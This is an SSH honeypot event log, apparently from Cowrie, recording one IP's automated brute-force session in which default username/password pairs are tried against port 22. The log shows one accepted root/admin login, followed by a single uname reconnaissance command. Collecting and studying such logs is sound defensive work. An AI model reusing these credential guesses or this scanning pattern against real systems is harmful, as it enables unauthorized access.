{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:00.025611Z","src_ip":"192.109.200.237","session":"5b546fa9552f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:00.868819Z","src_ip":"103.183.114.55","session":"2107f27c895b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:01.147641Z","src_ip":"192.109.200.237","session":"5b546fa9552f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52526,"dst_ip":"159.203.135.109","dst_port":22,"session":"105746a90192","protocol":"ssh","message":"New connection: 192.109.200.237:52526 (159.203.135.109:22) [session: 105746a90192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:01.720590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:01.734691Z","src_ip":"192.109.200.237","session":"105746a90192","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:01.819731Z","src_ip":"192.109.200.237","session":"105746a90192","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"martin","message":"login attempt [martin/martin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:02.071978Z","src_ip":"192.109.200.237","session":"105746a90192","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:03.159253Z","src_ip":"192.109.200.237","session":"105746a90192","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52528,"dst_ip":"159.203.135.109","dst_port":22,"session":"2beb31d44d17","protocol":"ssh","message":"New connection: 192.109.200.237:52528 (159.203.135.109:22) [session: 2beb31d44d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:04.935589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:04.939544Z","src_ip":"192.109.200.237","session":"2beb31d44d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:05.021554Z","src_ip":"192.109.200.237","session":"2beb31d44d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:05.269109Z","src_ip":"192.109.200.237","session":"2beb31d44d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:06.354596Z","src_ip":"192.109.200.237","session":"2beb31d44d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52532,"dst_ip":"159.203.135.109","dst_port":22,"session":"730d879a0043","protocol":"ssh","message":"New connection: 192.109.200.237:52532 (159.203.135.109:22) [session: 730d879a0043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:07.959819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:07.969479Z","src_ip":"192.109.200.237","session":"730d879a0043","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:08.052658Z","src_ip":"192.109.200.237","session":"730d879a0043","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:08.300103Z","src_ip":"192.109.200.237","session":"730d879a0043","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:09.385512Z","src_ip":"192.109.200.237","session":"730d879a0043","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54488,"dst_ip":"159.203.135.109","dst_port":22,"session":"a534d81de8fb","protocol":"ssh","message":"New connection: 192.109.200.237:54488 (159.203.135.109:22) [session: a534d81de8fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:11.005038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:11.012129Z","src_ip":"192.109.200.237","session":"a534d81de8fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:11.094893Z","src_ip":"192.109.200.237","session":"a534d81de8fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:11.461035Z","src_ip":"192.109.200.237","session":"a534d81de8fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:12.546828Z","src_ip":"192.109.200.237","session":"a534d81de8fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54506,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6533428a60e","protocol":"ssh","message":"New connection: 192.109.200.237:54506 (159.203.135.109:22) [session: d6533428a60e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:14.237411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:14.249704Z","src_ip":"192.109.200.237","session":"d6533428a60e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:14.333867Z","src_ip":"192.109.200.237","session":"d6533428a60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:14.580957Z","src_ip":"192.109.200.237","session":"d6533428a60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:15.669146Z","src_ip":"192.109.200.237","session":"d6533428a60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54542,"dst_ip":"159.203.135.109","dst_port":22,"session":"494376be6d93","protocol":"ssh","message":"New connection: 192.109.200.237:54542 (159.203.135.109:22) [session: 494376be6d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:17.253762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:17.258715Z","src_ip":"192.109.200.237","session":"494376be6d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:17.341309Z","src_ip":"192.109.200.237","session":"494376be6d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:17.591601Z","src_ip":"192.109.200.237","session":"494376be6d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:18.677133Z","src_ip":"192.109.200.237","session":"494376be6d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39122,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a81992db03","protocol":"ssh","message":"New connection: 192.109.200.237:39122 (159.203.135.109:22) [session: 59a81992db03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:20.475068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:20.483797Z","src_ip":"192.109.200.237","session":"59a81992db03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:20.566945Z","src_ip":"192.109.200.237","session":"59a81992db03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:20.816039Z","src_ip":"192.109.200.237","session":"59a81992db03","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:21.031679Z","src_ip":"192.109.200.237","session":"59a81992db03","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:21.034933Z","src_ip":"192.109.200.237","session":"59a81992db03","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:21.120282Z","src_ip":"192.109.200.237","session":"59a81992db03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:21.125617Z","src_ip":"192.109.200.237","session":"59a81992db03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39154,"dst_ip":"159.203.135.109","dst_port":22,"session":"0476b2401086","protocol":"ssh","message":"New connection: 192.109.200.237:39154 (159.203.135.109:22) [session: 0476b2401086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:23.528084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:23.533073Z","src_ip":"192.109.200.237","session":"0476b2401086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:23.615325Z","src_ip":"192.109.200.237","session":"0476b2401086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:50:23.861843Z","src_ip":"192.109.200.237","session":"0476b2401086","protocol":"ssh"}
